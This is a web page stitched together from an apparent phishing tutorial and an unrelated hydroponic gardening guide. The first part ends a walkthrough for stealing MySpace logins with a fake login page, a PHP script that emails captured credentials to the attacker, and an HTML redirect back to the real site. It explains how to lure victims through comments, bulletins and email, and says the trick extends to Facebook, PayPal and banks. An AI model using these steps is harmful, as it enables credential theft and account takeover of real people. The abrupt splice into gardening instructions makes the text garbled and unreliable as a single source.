<META HTTP-EQUIV=”REFRESH” CONTENT=”1;URL=http://www.myspace.com”>
</body></html>

This php file does three different actions. First it captures the email address and password provided on the fake MySpace page, then it will email the username and password to the email address specified in the “$to” field, and finally it will redirect back to MySpace.

Be sure to put your email address in the $to field above when editing this file.

Save this file to your desk top and name it submit.php.

Now log into your hosting company’s control panel and upload both the MySpace.html login page and the submit.php action page to a location on your webserver where it can be viewed on the internet.

Type the URL of the location where you placed the MySpace.html page and make sure that all the images and flash videos appear on the page correctly. You may need to add “http://www.myspace.com” if there are any relative links to image or flash items on this fake MySpace login page. However, I have found that most of the images and flash videos have absolute paths which make doing this convenient because all images and flash videos will be pulled directly off the actual myspace site for your fake login page.

Now log into your actual myspace account.

Send either a comment, an email, a bulletin, or a forum/blog post asking people to check out something really cool. Create a link to this cool page offering the free items using the following format Cool Offer Link.

So when this person(s) clicks on this link they will be redirected to your fake login page and think that MySpace dropped their session. They will login on your fake page and it will email you their email address and password behind the scenese without them realizing it. They will be redirected back to MySpace and think that they have just logged into the site or they will be asked to log in again.

You will now have their username and password. This trick can be applied to all social networking such as facebook, stumble, digg, etc. and may require adjustments to be made to work well or to account for new security features to prevent people from doing this trick. However, this type of loophole is very difficult to block if you are create enough about where you can inject these links into their site and how well you can make the login page resemble the actual login page of the site you are trying to break into.

So next time you log into MySpace make sure that the address in your browser’s address bar is actually http://www.myspace.com and not some other site with a fake login page.

These types of links can also be sent to people by email. Ebay, Paypal, and many banking and credit card sites have also been hacked into using these concepts above. It will be nearly impossible to eliminate this type of security vulnerability with naive users.

Below Jared the subway guy will explain this fast and easy step-by-step process on how to hack into people’s myspace accounts.

The word Hydroponics originates from the ancient Hanging Gardens of Babylon and comes from the Greek words, Hydro meaning water and Ponics meaning working.

Today newer variations of this ancient technology are used to grow top grade indoor plants, premium vegetables, fruits, and herbs.

Using hydroponics the physiological requirements of the plants can be met without the use of soil or natural sunlight. Plants are reooted in an inert medium and nutrition is provided to the plant by water soluable mineral elements.

With use of proper nutrients and the right artificial light source, hydroponic gardners can achieve amazing results. These plants can have an ideal environment because the grower can control exactly which nutrients the plant receives.

To completely control a plants environment you must control the volume and duration of light, the temperature, the water, the CO2, the oxygen, the pH and the nutrients that the plant receives.

Starting Out

First you will need to choose a gardening system and a light source.

Hydroponics are relatively low maintenance and are highly efficient. You need to check the pH and top the water level off every other day and change the nutrients every 7-10 days, but other than that you can just set up timers to handle the lighting and ventilation systems.

The best form of hydroponics are “Deep Water” systems, meaning that the plant roots will grow right down into the bubbling solution. This is the purest form of hydroponics because the roots are exposed directly to the nutrient solution. This type of system also uses a small air pump to keep the solution well oxygenated.

One popular method of hydroponic gardening is the Ebb & Flow or Flood Tray system. These systems are ideal for multiple plants and are very easy to use.

These ebb & flow growing trays are flooded automatically by a submersed pump connected to a digital timer. Growing medium and roots are soaked when the tray fills up. Rockwool is usually the medium used with these systems.

Unlike growing in soil, these hydroponic methods allow the grower exact control over plants’ nutrient, water and oxygen intake. Better control over these factors means faster, healthier growth. A large percentage of our produce, such as tomatoes cucumbers and lettuce are grown commercially using hydroponics.

Light is the most important factor in plant growth. Most herbs and vegetables would like to receive as much light as they can get, therefore place your garden in the brightest window available. If you do not have a spot with plenty of sunlight, you can add a fluorescent light to increase intensity and extend daylight.

Propagation

There are three basic methods of starting or “propagating” plants. They are seed germination, rooting stem cuttings (cloning), and tissue culture, which is an advanced form of cloning by cell division. Although tissue culture kits are available to the home hobbyist, this section will concentrate on the simpler, more popular methods, starting with seed germination, also know as sexual propagation.

Rockwool is the most popular medium for germinating seeds hydroponically. Loose, or granulated Rockwool can be placed in a standard plastic starting tray, and seeds are spread evenly spaced on top of the medium. The seeds are covered with a thin layer of Rockwool or Perlite and the tray is covered to prevent moisture loss. The loose Rockwool makes it easy thin, separate, and transplant seedlings. Even more popular than granulated Rockwool, are one inch Rockwool starting cubes. A flat containing 98 detachable cubes fits into a standard propagation tray. The Rockwool is soaked and pH balanced and one seed is placed into a 1/4 ” deep hole provided in the centre of each cube. The seeds are then covered with a thin layer of Perlite or vermiculite and the lid is placed on the tray. Once the seeds have sprouted, the cubes are easily broken off and placed into larger growing cubes or other aggregate.

Another method of propagation is cloning, or asexual propagation. Stem cuttings from most types of plants can be rooted in seven to fourteen days, producing a plant which is an exact genetic duplication of the original, or “mother” plant. Plants started in this way will mature much earlier than ones started from seed, saving valuable time and producing shorter, bushier plants.

Depending on the type of plant, each mother could produce tens, or even hundreds of identical offspring every couple of months. Asexual propagation is an invaluable tool used for many commercial greenhouse crops, as well as for hobby gardens. Without question, the fastest and easiest way to root stem cuttings is hydroponically. Some methods incorporate extra aeration.

Air pumps or moistening devices provide stems with ample amounts of oxygen and water. Oxygen is vital to root development. The most common method used to root cuttings hydroponically is in one inch Rockwool cubes. The flat of cubes is pH balanced and soaked in a diluted, high phosphorus nutrient solution, then placed in a standard propagation tray. Using a clean, sharp blade, cut off a small branch consisting of a growing tip, two or three leaves, and 2″ to 4″ of stem.

As you take the clippings, let them stand in water until you have as many as you need. Before dipping in a rooting compound, make a fresh cut on each stem, just above the first cut. After dipping, insert the stem, about one inch deep into the rooting cube. Cover the tray with a clear plastic dome to retain humidity and give the plants 18 hours of diffused light per day. Remove the cover for a few minutes each day to give the plants fresh air and to avoid damping off. Mist the cuttings periodically with a mild foliar feed like kelp extract. To see if the clippings have rooted, give the stems a very gentle tug. The clones should be transplanted soon after roots have formed.

Tips on Propagating Seeds

- Ideal temperature 75 degree F to 85 degrees F.
- Ideal humidity 80% to 90% Relative.
- Remove humidity tent daily.
- 24 hours light until first true leaves appear.

Tips on Propagating Stem Cuttings

- Use a 6″ humidity dome.
- Provide 18 hours of light a day.
- Use rooting hormones-Wilson roots, Stim Roots, Willow water.
- Remove the largest leaves to avoid wilting.
- Remove humidity tent permanently after 10 days.

Hydroponic Solutions

Always check the pH and adjust if necessary to 5.8 - 6.3. Check and maintain an optimum nutrient level.

Hydroponic solutions contain the same types of nutrients that plants receive from the soil. These nutrients include:

NITROGEN (N)
PHOSPHORUS (P)
POTASSIUM (K)
BORON (B)
CALCIUM (Ca)
IRON (Fe)
MAGNESIUM (Mg)
MANGANESE (Mn)
MOLYBDENUM (Mb)
SULPHUR (S)
ZINC (Zn)

How to Set up a Hydroponic Garden

WATER CULTURE SYSTEM

Convert an aquarium into a simple hydroponic system. The plants are suspended on a floating Styrofoam platform. This system is popular for classrooms because the roots of the plants are visible hanging below the floating platform.

Materials Required:

AQUARIUM - Any water tight container with fairly vertical sides will work. Light breaks down the nutrient solution and encourages algae growth so if you us an aquarium you will need to construct a light shield out of cardboard or aluminum foil to keep light out of the reservoir (aquarium). If you wish to view the roots make the light shield (or part of it) removable.

FLOATING PLATFORM - You will need a piece of Styrofoam 1 1/2″ to 2″ thick. Cut Styrofoam to fit loosely inside the aquarium (or whatever you are using for a reservoir).

PLASTIC CUPS - Use several small plastic or Styrofoam cups to hold the plants on the floating platform. (NOTE: We usually use Solo brand 3oz. plastic bathroom cups, but you can use any small plastic cup as long as it has tapered sides).

GROWING MEDIUM - You will need a small amount of growing medium, enough to fill the plastic cups. (NOTE: The Professor recommends using Perlite or a perlite / Vermiculite mix for the growing medium).

AIR PUMP AND AIR STONE - You need to use an air pump and airstone to oxygenate the nutrient solution. A regular air pump designed for an aquarium is all that is required.

HYDROPONIC FERTILIZER * - A good quality hydroponic fertilizer is required, regular “dirt” fertilizers do not contain essential “micro-nutrients”. For more information about the differences in hydroponic and “dirt” fertilizers CLICK HERE.

pH TEST KIT * - You will need some way of checking and adjusting the pH of your nutrient solution.

*Note: Simply Hydroponics and Organics has an inexpensive “Starter kit” that consists of quality hydroponic fertilizer, a liquid pH test kit (good for hundreds of tests) two bottles of liquid pH adjuster (1 pint pH up, 1 pint pH down) and Instructions. CLICK HERE for additional information.

ASSEMBLY OF SYSTEM

Cut the Styrofoam float to fit the reservoir. Cut the float a little smaller than the opening so that it won’t bind up when the water level changes.

Cut the holes in the float to the proper size for the plastic cups that you are using, you want the bottoms of the cups to hang below the bottom of the float but not fall through. (NOTE: We usually use Solo brand 3oz. plastic bathroom cups, these require a 1 7/8″ to 2″ hole.

Cut several holes (aprox. 1/8″ to 1/4″ dia.) in the bottom of your plastic cups. Add growing medium to the cup (NOTE: if the growing medium falls out through the holes you can put a small piece of fiberglass window screen or small piece of cloth over the holes before adding the growing medium. For more information about Growing Mediums CLICK HERE).

Plant your seedling, rooted cutting or seed in the growing medium.

CARE AND FEEDING INSTRUCTIONS

Fill the aquarium (reservoir) with water. Mix your nutrient solution as per the instructions on the fertilizer package. Check pH and adjust accordingly. NOTE: The required pH value will vary depending on the requirements of the plant. For more information on pH, CLICK HERE.

Attach 1/4″ airline to the air stone and place airstone in reservoir. Attach free end of tubing to air pump and plug in air pump to outlet, make sure that there are bubbles coming from the air stone. (NOTE: NEVER submerge the air pump in water as electrical shock could occur).

Place floating platform on top of the nutrient solution. Put plastic cups into the holes in the floating platform.

When the plants have used up about half of the nutrient solution you can add WATER ONLY to bring the level back up (do not add fertilizer or you could cause a nutrient build up that could harm the plants). Recheck pH and adjust if necessary.

When the plants have used half of the nutrient solution for the second time you need to change out the nutrient solution by draining the reservoir and then mix a fresh batch. Use the old nutrient solution on house plants or other vegetation.

EBB & FLOW SYSTEM (FLOOD and DRAIN)

This system uses two 5 gallon buckets (or equivalent), one filled with growing medium and the other holds the nutrient solution.

The plants are watered by lifting the bucket containing the nutrient solution, this allows the nutrient solution flows into the bucket containing the growing medium and Plant(s). To drain, simply lower the nutrient bucket and gravity drains the nutrient solution back into the reservoir (see drawing on left).

Materials Required:

2 - 5 GALLON BUCKETS (or equivalent water tight plastic container). Make sure that the buckets don’t have any leaks.

GROWING MEDIUM - The Professor favors straight Perlite or a Perlite / Vermiculite mix for this system, however there is a vast variety of growing mediums that will work well. For more information about growing medium CLICK HERE.

FLEXIBLE VINYL TUBING - You need a length of flexible tubing long enough for the buckets to be moved as in the drawing above (3 or 4 feet is usually enough).

FIBERGLASS WINDOW SCREEN - You will need a small amount of fiberglass window screen (12″ x 12″).

You will need a small amount of fiberglass window screen (12″ x 12″).

GRAVEL - You will need enough gravel to cover the bottom of your growing container approximately 2 or 3 inches. Use a fairly coarse gravel ( 3/4 to 1 inch diameter). NOTE: A 5 gallon bucket needs about a gallon of gravel to reach this level.

HYDROPONIC FERTILIZER * - A good quality hydroponic fertilizer is required, regular “dirt” fertilizers do not contain essential “micro-nutrients”. For more information about the differences in hydroponic and “dirt” fertilizers CLICK HERE.

pH TEST KIT *- You will need some way of checking and adjusting the pH of your nutrient solution.

*Note: Simply Hydroponics and Organics has an inexpensive “Starter kit” that consists of quality hydroponic fertilizer, a liquid pH test kit (good for hundreds of tests) two bottles of liquid pH adjuster (1 pint pH up, 1 pint pH down) and Instructions. CLICK HERE for additional information.

ASSEMBLY OF SYSTEM

Drill holes in the CLEAN plastic buckets on the side approximately 1/2″ above the bottom of the bucket. NOTE: The size of the holes will depend on the size of the tubing that you use. We suggest that you use 1/2 ” i.d. tubing,for this you will need to drill a 1/2″ hole.

Insert tubing into the holes of both buckets approximately 2″. Test the assembly for leaks by placing the buckets side by side and filling with water. (NOTE: The tubing should fit tightly so that their are no leaks, if you do have a leak from where the tubing connects to the bucket you can seal it from the inside of the bucket with some R.T.V. “Silicone” sealant, if you use silicon follow the directions on the packaging and allow the sealant cure overnight before proceeding to step #3).

Empty the water out of the assembly and place the gravel into the bottom of one of the buckets. This will be the Planter, the other bucket will be the reservoir.

Place the window screen over the top of the gravel. Fold the excess over or you can trim the screen with a pair of scissors. The screen acts as a filter to keep the growing medium in place. So try to fit the screen as close to the sides of the bucket as you can. You don’t have to have a perfect fit, but the better the screen fits the less growing medium will get washed into the reservoir when you drain the system during the “Ebb” cycle. In fact if too much growing medium gets through the screen it can actually clog the fill/drain tube.

Add the growing medium to the bucket. (NOTE: you will need to wash and / or pre-soak the growing medium before adding to the system, depending on the type of growing medium that you are using. For more information about Growing Mediums CLICK HERE).

Plant your seedling, rooted cutting or seed in the growing medium. NOTE: The Professor recommends starting your seeds separately and then adding the seedling(s) to the system.

CARE AND FEEDING INSTRUCTIONS

Put the planter on the platform* and leave the reservoir in the “lowered” position.

* TIP: If you don’t have a platform there is an easy way to make one: Stand two standard masonry blocks on end and place a board big enough to hold both buckets on top.

Fill your reservoir with water and mix the nutrient solution as per the instructions on the fertilizer package. Check pH of the nutrient solution and adjust accordingly (NOTE: The required pH value will vary depending on the requirements of the plant and the kind of growing medium. For more information on pH, CLICK HERE). Cover the reservoir with a loose fitting lid to keep out debris. It is a good idea to aerate the nutrient solution with an air pump and air stone to keep it from stagnating.

To feed and water your plant(s) simply lift the reservoir bucket and set it on the platform next to the planter bucket. Wait a few minutes and then lower the reservoir back down. CAUTION: a full 5 gallon bucket weighs about 40 pounds, if you can’t lift that much make smaller amounts of nutrient solution.

Repeat step #9 periodically, how often you need to do a watering cycle depends on several variables, size and type of plants, type of growing medium, weather conditions, etc., making watering cycles a bit of a guessing game, however with this type of system it is hard to over water so when in doubt…DO IT.

Check the pH of the nutrient solution every couple of days and adjust if needed.

When the plants have used up about half of the nutrient solution you can add WATER ONLY to bring the level back up (do not add fertilizer or you could cause a nutrient build up that could harm the plants). Recheck pH and adjust if necessary.

When the plants have used half of the nutrient solution for the second time you need to change out the nutrient solution by draining the reservoir and then mix a fresh batch (as per step #8 above). Use the old nutrient solution on house plants or other vegetation.